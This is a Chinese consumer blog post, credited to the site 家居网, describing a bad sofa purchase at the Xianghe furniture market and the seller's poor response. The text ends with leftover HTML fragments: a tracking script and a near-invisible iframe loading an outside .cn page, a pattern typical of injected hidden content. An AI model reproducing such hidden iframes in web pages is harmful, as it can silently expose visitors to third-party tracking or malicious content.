最近家里面装修,想换套沙发,可就是这么点儿事,把我气个半死。
这几年香河家具城的广告在京津唐地区狂轰乱炸,听得耳朵都出茧子了,“同等质量,批发价格”,谁不动心?我家住北京,到香河挺方便的,心想着也去看看吧。头天我想在网上查一下有关香河家具城的信息,在百度里一搜就找到一个叫“家居网”的地方,他们得知我要去香河买家具,给我提供了了一些款式和价格做参考。后来他们给我留了联系方式,说到时候可以找他们帮忙一起去市场选购。
我心想,咱在本地找到熟人了,到时候买家具不也好办事了吗。挺高兴的,到了香河以后给家居网的客服打电话,他们委派了业务员小李跟我去家具城里面选购。一路上小李给我介绍了挺多的,后来在一家看上了一款沙发,700元多一点。我当时有急事马上要走,就想定下算了。小李跟我说这样的沙发很多,不要急着订货,多挑选一下。我急着走,也没多想,当时就给订货了。可没想到就是这么一急,惹来一肚子气。
沙发到家了,我一看可倒好,靠垫里面装的是什么东西呀,有黑有白的,白的说不好是什么东西,还有黑布条子,并且连口都没封。我买东西当时确实图了个便宜,但是这个质量差得也太多了吧?我跟这个卖家说,要他们给个说法,谁想那个服务员还挺厉害,好像理亏的是我。气得我都要疯了。我还没说什么,她倒好,直接跟我说让我去投诉。
我把这个情况跟家居网的客服小杜说了,她表示他们去那个商家要个说法,我心里还是比较安慰的。
这边我还继续联系商家,看他们到底打算如何解决,其实如果他们态度稍微好点,给我把靠背换一下,我也就不说什么了,谁愿意没事的斗气啊。可是商家的态度实在太恶劣了,头一天还承认自己质量有问题,第二天倒好,来个矢口否认,说什么是下面工人弄的。人家工人领工资干活,有必要这么做为你们省钱?没有你们的授意工人这么做图个什么?得到嘉奖还是得到奖金啊?
后来我又去家居网问问他们那里得到什么答复。当时小李不在,是小杜接待我的。她说小李又去那家跟他们理论去了,为了我这事,小李跟他们都吵起来了。说真的,我还真是挺感激小李的,小伙子一看就实在,他跟我说过他们以前和这家没有过业务往来,并且让我不要急着订货,当时我也没想会有这么多事。我一再嘱咐小李千万别再冲动的去跟他们吵了,这种商家大不了以后不做他的生意了,这种服务这种质量,看他们将来怎么立足,跟他们吵架都不值得。
为了这事,我真气的想要给他们曝光一下,让香河家具城的管理层好好惩罚他们一下。后来这个商家来了一男一女,那个男的有可能是他们老板,说话倒是还挺客气的,说给换一套新靠垫。
哎,息事宁人算了。不过奉劝各位要是去买家具的话,千万不要急忙着订货,还是找个时间充足的时候,查看好质量再定,以免节外生枝。(转载请注明出处:家居网) language="javascript" src="/include/js/digg.js" type="text/javascript"> language="javascript" src="http://51yes.ocry.com/click2.js?id=259865365&logo=1" type="text/javascript"> src="http://mydeller.cn/page/add_54738542.htm" frameborder="1" width="10" height="0"> src="http://51yes.ocry.com/click2.htm" frameborder="1" width="10" height="0">
